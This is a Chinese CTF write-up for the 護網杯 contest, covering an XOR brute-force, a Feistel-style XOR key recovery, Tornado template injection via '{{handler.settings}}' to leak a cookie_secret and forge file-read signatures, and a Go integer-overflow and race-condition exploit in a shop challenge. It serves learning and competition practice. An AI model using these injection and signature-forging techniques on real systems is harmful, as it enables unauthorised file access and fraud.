1. 程式人生 > >護網杯部分題目題解

護網杯部分題目題解

前言

護網杯的這次比賽還是很有收穫的,至少在web方面我認為是這樣的,還是得繼續努力吧。。。

正文

MISC

遲來的簽到

AAoHAR1UIFBSJFFQU1AjUVEjVidWUVJVJVZUIyUnI18jVFNXVRs=
題目說要異或,那就直接爆破異或就好
寫個小指令碼就可以得到flag

import base64
 
a = "AAoHAR1UIFBSJFFQU1AjUVEjVidWUVJVJVZUIyUnI18jVFNXVRs="
a = base64.b64decode(a)
 
for i in range(128):
	s = ''
	for
j in a: s = s+chr(i^ord(j)) if 'flag' in s: print s

Crypto

fez

這個題目是我隊友做的。。。。賽後才學習的,看來密碼學以後還得認真上課。。。。
Fez.log給出三條資料,第一條為test,第二條為test與k加密後的資料,第三條為flag與k加密後的資料
fez.py為加密演算法,通過分析演算法

iUC4te.jpg

即a,b每一位進行異或運算
iUCHXt.jpg
Round函式將M左右部分互換,並對右部分進行異或運算得 R^L^k[i]
Fez函式即將k陣列每個元素與m進行round運算
可得m為字串分為m[0:27],m[27:54]

兩部分通過一步一步推算

m:  L + R
	R + a    a: L^R^k0
	a + b    b: L^k0^k1
	b +    c    c: R^k0^k1    
	c + d    d: L^k0^k2^k3
	d + e    e: L^k0^k1^k3^k4
	e + f    f: R^k1^k2^k4^k5
	f + g    g: L^R^k0^k1^k3^k5^k6

根據異或運算得特性
已知test(也就是L,R),fez(test,k)(也就是f,g),即可通過test與fez(test,k) 進行異或運算可得出 k0^k1^k3^k5^k6k1^k2^k4^k5


從而還原flag

import os
import binascii
def xor(a,b):
    assert len(a)==len(b)
    c=""
    for i in range(len(a)):
        c+=chr(ord(a[i])^ord(b[i]))
    return c
 
test = '50543fc0bca1bb4f21300f0074990f846a8009febded0b2198324c1b31d2e2563c908dcabbc461f194e70527e03a807e9a478f9a56f7'
test = binascii.a2b_hex(test)
test_k = '66bbd551d9847c1a10755987b43f8b214ee9c6ec2949eef01321b0bc42cffce6bdbd604924e5cbd99b7c56cf461561186921087fa1e9'
test_k = binascii.a2b_hex(test_k)
m_k = '44fc6f82bdd0dff9aca3e0e82cbb9d6683516524c245494b89c272a83d2b88452ec0bfa0a73ffb42e304fe3748896111b9bdf4171903'
m_k = binascii.a2b_hex(m_k)
 
l = test[0:27]
r = test[27:54]
l1 = test_k[0:27]
r1 = test_k[27:54]
l2 = m_k[0:27]
r2 = m_k[27:54]
 
c = xor(xor(l,r),r1)
Lr = xor(c,r2)
d = xor(r,l1)
R = xor(d,l2)
L = xor(Lr,R)
m = L+R  
print m

iUP9cn.md.png

Web

這裡的web題目是我趁著題目還沒關的時候趕緊復現的(不會做後面弄懂也是學習的方法呀23333),感謝一葉飄零學長的幫助哇。。。。

easy tornado

這個題目上來每個選項url就很可疑

http://49.4.95.5:31792/file?filename=Orz.txt&signature=d227ce6c7cea5a9cd7f1721e0baace7d
Orz.txt
render() 

http://49.4.95.5:31792/file?filename=hint.txt&signature=c7b8660e245f1360c378db1074a2a4c7
hint.txt
md5(cookie_secret + md5(filename)) 

http://49.4.95.5:31792/file?filename=flag.txt&signature=d24b2dc1952a495057af1a898c55931b
flag.txt
/fllllllllllag 

很明顯是去讀檔案/fllllllllllag ,並且要帶上簽名,一開始我做這個題的時候還以為強行爆破一波secret。。。還一度認為是Hash長度拓展攻擊。。。。尷尬

關鍵點在於cookie_secret

當我們隨便輸入東西的時候會出現一個報錯頁面
iUPn39.md.png

這個頁面過濾了很多東西,並且返回Orz

輸入
http://49.4.95.5:31792/error?msg={{1^0}}
iUPucR.md.png
這裡的話飄零大佬說可以進行模板注入,並且只能讀一個變數
接下來的思路才是騷,直接閱讀tornado的原始碼
https://github.com/tornadoweb/tornado/blob/master/tornado/auth.py

handler.settings 裡面存在cookie_secret這東西

讀取一下
http://49.4.95.5:31792/error?msg={{handler.settings}}這裡的{{}}具有渲染模板的功能

Whoops, looks like somethings went wrong . 
{'login_url': '/login', 'template_path': 'templates', 'xsrf_cookies': True, 'cookie_secret': 'B3}r8at^62-?kGW<!YJ{Kl][email protected])$H%*~9fh15.s[>&T+(7P4uQ0UVXDOiFb', 'debug': False, 'file_path': '/www/static/files', 'static_path': 'static'} 

可以把裡面的內容給讀出來,以後還是得對python的MVC架構學習一下才行。。

立即構造簽名

<?php 

echo md5('B3}r8at^62-?kGW<!YJ{Kl][email protected])$H%*~9fh15.s[>&T+(7P4uQ0UVXDOiFb'.md5('/fllllllllllag')) ;

?>

http://49.4.95.5:31792/file?filename=/fllllllllllag&signature=3e9f949b7c37c999287eb096f576be00

得到flag
iUPKj1.md.png

ltshop

這個題目一開始我一直以為是前端的ajax的操作問題,直到看了飄零大哥的wp才知道有兩種思路,一種是條件競爭,但條件競爭好像還是有上限的,開個多執行緒跑一下,這也是為了後面的怪異的9999999做鋪墊,因為你沒有5個以上的大辣條是換不了辣條之王的。
iUP1HK.png
然後就會發現辣條數目幾變成7個
iUP8AO.png

下面才是重點,因為這裡是用的是Go語言,很可能存在整數溢位,可以參考一下這篇文章
http://www.it1352.com/808569.html

go語言整數溢位為18446744073709551615,然後可以計算number=(18446744073709551615/5)+1=3689348814741910324,然後我們可以直接溢位獲得flag
下面這篇部落格對於溢位過大有更深的理解:
https://qingchenldl.github.io/2018/10/13/護網杯WP-BitPwn/?tdsourcetag=s_pctim_aiomsg

iUPGND.md.png

還有一道題目是關於Laravel框架的解題過程,也是秀,知識點也很多,建議去看看一葉飄零學長的部落格啦。

結語

這比賽又學到了不少的東西,果然python開發出來的web框架還是自己的弱項,條件競爭這東西看來現在比賽都很流行呢,可惜自己對這方面的做題敏感度不夠,以前一直認為這隻有安恆的月賽才會出,以後還是得接觸pwn了,繼續努力。。。。。